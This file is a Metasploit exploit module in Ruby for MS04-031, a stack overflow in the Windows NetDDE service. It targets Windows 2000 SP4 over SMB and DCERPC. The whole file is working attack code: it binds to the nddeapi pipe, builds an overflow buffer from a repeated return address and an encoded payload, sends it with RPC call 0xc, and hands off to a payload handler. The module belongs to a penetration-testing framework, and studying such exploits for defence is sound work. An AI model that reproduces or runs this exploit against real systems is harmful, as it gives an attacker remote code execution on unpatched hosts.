metasploit-framework/modules/exploits/windows/smb/ms04_031_netdde.rb

require 'msf/core'

module Msf

class Exploits::Windows::Smb::MS04_039_NETDDE < Msf::Exploit::Remote

	include Exploit::Remote::SMB
	include Exploit::Remote::DCERPC

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Microsoft Network Dynamic Data Exchange Server MS04-031',
			'Description'    => %q{
				This module exploits a stack overflow in the NetDDE service, which is the 
				precursor tothe DCOM interface.  This exploit effects only Pre-Windows XP
				SP1 operating systems. Also, despite Microsoft's claim that this is PreAuth,
				Auth seems to be required to reach the nddeapi entrypoint.
			},
			'Author'         => [ 'pusscat' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'OSVDB', '10689'],
					[ 'CVE', '2004-0206'],
					[ 'MSB', 'MS04-031'],

				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread'
				},
			'Payload'        =>
				{
					'Space'    => (0x600 - (133*4) - 4),
					'BadChars' => "\\/.:$\x00",       # \ / . : $ NULL
					'Prepend'  => 'A' * 8,
				},
			'Platform'       => 'win',
			'Targets'        => 
				[
					[
						'Windows 2000 SP4',
						{
							'Platform' => 'win',
							'Rets'     => [ 0x77e56f43 ],  # push esp, ret :)
						},
					],
				],
			'DefaultTarget' => 0))
		register_options(
			[       
				OptString.new('SMBPIPE', [ true,  "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'nddeapi']),
			], self.class)		
	end

	def exploit
		connect
		print_status("Trying target #{target.name}...")
		
		handle = dcerpc_handle('2f5f3220-c126-1076-b549-074d078619da', '1.2', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
		print_status("Binding to #{handle} ...")
		dcerpc_bind(handle)
		print_status("Bound to #{handle} ...")

		retOverWrite = 
			'AA' + (NDR.long(target['Rets'][0]) * 133) + payload.encoded

		overflowChunk = 
			retOverWrite +
			NDR.long(0xCA7CA7) + # Mew. 3 bytes enter. 1 byte null.
			NDR.long(0x0)

		stubdata =
			NDR.UnicodeConformantVaryingStringPreBuilt(overflowChunk) +
			NDR.long(rand(0xFFFFFFFF))

		print_status('sending exploit ...')

		begin
			response = dcerpc.call(0xc, stubdata)
		rescue Rex::Proto::DCERPC::Exceptions::NoResponse
		end

		handler
		disconnect
	end

end
end